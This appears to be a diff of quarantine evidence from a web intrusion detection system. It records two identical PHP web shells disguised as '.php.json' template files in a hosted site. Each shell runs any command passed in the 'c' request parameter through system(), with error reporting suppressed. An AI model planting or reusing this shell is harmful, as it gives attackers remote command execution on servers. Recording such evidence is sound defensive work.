diff --git a/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json
new file mode 100644
index 0000000..2af2f29
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json
@@ -0,0 +1 @@
+<?php @error_reporting(0);$c=$_GET["c"]??$_POST["c"]??"";if($c){echo"<pre>";@system($c);echo"</pre>";}?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json.evidence.json
new file mode 100644
index 0000000..896946c
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4958",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/d6g30n.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/d6g30n.php.json)",
+  "original_sha256": "e223ba70bd9fb48b8c1db6145e60886632747eba96c64267993b6e443c1b68db",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783337706,
+    "size": 104,
+    "uid": 20043
+  },
+  "rel_path": "templates/d6g30n.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T150859Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json
new file mode 100644
index 0000000..2af2f29
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json
@@ -0,0 +1 @@
+<?php @error_reporting(0);$c=$_GET["c"]??$_POST["c"]??"";if($c){echo"<pre>";@system($c);echo"</pre>";}?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json.evidence.json
new file mode 100644
index 0000000..78e2a9e
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4957",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:templates/p8xu5l.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/templates/p8xu5l.php.json)",
+  "original_sha256": "e223ba70bd9fb48b8c1db6145e60886632747eba96c64267993b6e443c1b68db",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783348497,
+    "size": 104,
+    "uid": 20043
+  },
+  "rel_path": "templates/p8xu5l.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T150859Z",
+  "vhost": "www.archlinexp.eu"
+}